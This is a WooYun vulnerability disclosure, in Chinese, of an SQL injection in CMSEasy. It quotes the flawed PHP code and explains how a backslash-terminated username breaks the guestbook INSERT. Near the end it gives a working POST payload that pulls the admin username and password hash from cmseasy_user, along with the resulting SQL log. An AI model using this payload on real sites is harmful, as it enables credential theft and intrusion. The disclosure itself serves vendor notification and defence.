当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-066198

漏洞标题:Cmseasy SQL注射漏洞 2

相关厂商:cmseasy

漏洞作者: Noxxx

提交时间:2014-06-25 16:30

修复时间:2014-09-23 16:32

公开时间:2014-09-23 16:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-25: 细节已通知厂商并且等待厂商处理中
2014-06-26: 厂商已经确认,细节仅向厂商公开
2014-06-29: 细节向第三方安全合作伙伴开放
2014-08-20: 细节向核心白帽子及相关领域专家公开
2014-08-30: 细节向普通白帽子公开
2014-09-09: 细节向实习白帽子公开
2014-09-23: 细节向公众公开

简要描述:

注入..无限制

详细说明:

front_class.php 对 username 做了限制 但是 忘了\转义符

if(preg_match('/(\'|")/', $_POST['username']) || preg_match('/(\'|")/', $_GET['username']) || preg_match('/(\'|")/', $_COOKIE['login_username'])){
exit('非法参数');
}


先看注册
user_act.php 289 行:

function register_action() {
if(front::post('submit')) {
if(!config::get('reg_on')) {
front::flash(lang('网站已经关闭注册!'));
return;
}
if(config::get('verifycode')) {
if(!session::get('verify') ||front::post('verify') != session::get('verify')) {
front::flash(lang('验证码错误!'));
return;
}
}
if(front::post('username') != strip_tags(front::post('username'))
||front::post('username') != htmlspecialchars(front::post('username'))
) {
front::flash(lang('用户名不规范!'));
return;
}
省略 注册并没有太多的限制


我们注册一个 123123\的账户
再来看登陆的逻辑
user_act.php 176 行:
//这里登陆成功后 设置cookie 用的是post设置的 因为有转义的原因
cookie会变成 123123\\ 我们手动设置一下就行了

function login_action() {
if(!$this->loginfalsemaxtimes())
if(front::post('submit')) {
if(config::get('verifycode')) {
if(!session::get('verify') ||front::post('verify')<>session::get('verify')) {
front::flash(lang('验证码错误!')."<a href=''>".lang('backuppage')."</a>");
return;
}
}
if(front::post('username') &&front::post('password')) {
$username=front::post('username');
$password=md5(front::post('password'));
$data=array(
'username'=>$username,
'password'=>$password,
);
$user=new user();
$user=$user->getrow(array('username'=>$data['username'],'password'=>$data['password']));
if(!is_array($user)) {
$this->login_false();
return;
}
$user=$data;
cookie::set('login_username',$user['username']);
cookie::set('login_password',front::cookie_encode($user['password']));
session::set('username',$user['username']);
$this->view->from=front::post('from')?front::post('from'):front::$from;
front::flash($this->fetch('user/login_success.html'));
return;
}
else {
$this->login_false();
return;
}
}
$this->view->ologinlist = ologin::getInstance()->getrows('',50);
}


ddd2.png


我们再来看留言功能
//检测是否登陆状态

function init() {
if(!config::get('guestbook_enable')){
alerterror('留言本功能已关闭');
}
$user='';
if(cookie::get('login_username') &&cookie::get('login_password')) {
$user=new user();
$user=$user->getrow(array('username'=>cookie::get('login_username')));
}
$this->view->user=$user; //放入数据


guestbook_act.php 28-94行

function index_action() {
$this->list_action();
if(front::post('submit')) {
if(!front::post('guesttel')) {
front::flash(lang('请填写联系电话!'));
return false;
}
if(!front::post('title')) {
front::flash(lang('请填写标题!'));
return false;
}
if(!front::post('content')) {
front::flash(lang('请选择内容!'));
return false;
}
if(config::get('verifycode')) {
if(front::post('verify')<>session::get('verify')) {
front::flash(lang('验证码错误!'));
return false;
}
}
front::$post['checked']=0;
//关键就是这个了 如果user里面有数据的话 就用user的
我们 存入是123123\ 在sql中 会把后面的转义掉
if(empty($this->view->user)) {
front::$post['userid']=0;
front::$post['username']='游客:'.front::$post['nickname'];
}else {
front::$post['userid']=$this->view->user['userid'];
front::$post['username']=$this->view->user['username'];
}
front::$post['adddate']=date('Y-m-d H:i:s');
front::$post['ip']=front::ip();

if (!get_magic_quotes_gpc()) {
front::$post['content'] = front::$post['content'];
}
front::$post['title']=strip_tags(front::$post['title']);
$data=front::$post;
$insert=$this->_table->rec_insert($data);//组合语句并查询
if($insert<1) {
front::flash(lang('留言失败!'));
}
else {
if(config::get('email_gust_send_cust') && front::$post['guestemail']){
$title = "您在".config::get('sitename')."的留言已提交";
$this->sendmail(front::$post['guestemail'], $title, $title);
}
if(config::get('email_guest_send_admin') && config::get('email')){
$title = '网站在' . date('Y-m-d H:i:s') . '有新留言了';
$this->sendmail(config::get('email'), $title, $title);
}
if(config::get('sms_on') && config::get('sms_guestbook_on')){
sendMsg(front::$post['guesttel'],config::get('sms_guestbook'));
}
if(config::get('sms_on') && config::get('sms_guestbook_admin_on') && $mobile = config::get('site_mobile')){
sendMsg($mobile,front::$post['username'].'在'.date('Y-m-d H:i:s').'留言了');
}

front::flash(lang('留言成功!'));
$this->view->submit_success=true;
if(front::get('t') == 'wap'){
front::redirect(url::create('guestbook/index/t/wap/success/'.time()));
}else{
front::redirect(url::create('guestbook/index/success/'.time()));
}
}
}
}


INSERT INTO `cmseasy_guestbook`(guesttel,guestemail,guestqq,title,content,userid,username,adddate) VALUES ('123','123123','123123','ss','123213','3','123123\','2014-06-25 15:35:43')
123123\ 为我们的用户名 可是后面没有可控的?
front::$post['userid']=$this->view->user['userid'];
front::$post['username']=$this->view->user['username'];
}
front::$post['adddate']=date('Y-m-d H:i:s');
front::$post['ip']=front::ip();
他是这样写的 var_dump一下变量

array(13) {
["nickname"]=>
string(8) "11111111"
["guesttel"]=>
string(3) "123"
["guestemail"]=>
string(6) "123123"
["guestqq"]=>
string(6) "123123"
["title"]=>
string(2) "ss"
["content"]=>
string(6) "123213"
["verify"]=>
string(4) "3VTQ"
["submit"]=>
string(6) "提交"
["checked"]=>
int(0)
["userid"]=>
string(1) "3"
["username"]=>
string(10) "123123213\"
["adddate"]=>
string(19) "2014-06-25 15:39:36"
["ip"]=>
string(9) "125.0.1.5"
}


由于$_POST什么的本身就是数组 我们可以把顺序换一下.

["userid"]=>
string(1) "3"
["username"]=>
string(10) "123123213\"
["adddate"]=>
string(19) "2014-06-25 15:39:36"
["ip"]=>
string(9) "125.0.1.5"


这个为什么一直都在后面 因为他是最后赋值的 (重新创建了数组)
既然是这样我们之前先创建掉username这个变量。这样就有个位置了 再看

guesttel=123&nickname=11111111&guestemail=123123&guestqq=123123&title=ss&username=il&content=123213&verify=3vtq&submit=+%E6%8F%90%E4%BA%A4+


array(13) {
["guesttel"]=>
string(3) "123"
["nickname"]=>
string(8) "11111111"
["guestemail"]=>
string(6) "123123"
["guestqq"]=>
string(6) "123123"
["title"]=>
string(2) "ss"
["username"]=>
string(10) "123123213\"
["content"]=>
string(6) "123213"
["verify"]=>
string(4) "3VTQ"
["submit"]=>
string(6) "提交"
["checked"]=>
int(0)
["userid"]=>
string(1) "3"
["adddate"]=>
string(19) "2014-06-25 15:42:59"
["ip"]=>
string(9) "125.0.1.5"
}
INSERT INTO `cmseasy_guestbook`(guesttel,guestemail,guestqq,title,username,content,userid,adddate) VALUES ('123','123123','123123','ss','123123213\','123213','3','2014-06-25 15:42:59')


由于 留言只回显 用户名和内容 我们修改内容~
exp:
guesttel=123&nickname=11111111&guestemail=123123&guestqq=123123&title=ss&username=a&content=,(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM cmseasy_user WHERE USERID=1),1,1)# &verify=3vtq&submit=+%E6%8F%90%E4%BA%A4+
SQL日志 :
INSERT INTO `cmseasy_guestbook`(guesttel,guestemail,guestqq,title,username,content,userid,adddate) VALUES ('123','123123','123123','ss','123123213\',',(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM cmseasy_user WHERE USERID=1),1,1)#','3','2014-06-25 15:49:18')
list_action()查询留言数据 (模板中) 得登陆状态才显示
还有一点就是拼接数据的时候 他会查询表里的列 我们可以自己写其他的列。。
$data=front::$post;

漏洞证明:

sql4.png


3000.png


s3.png

修复方案:

过滤

版权声明:转载请注明来源 Noxxx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-06-26 12:26

厂商回复:

感谢,马上修正

最新状态:

暂无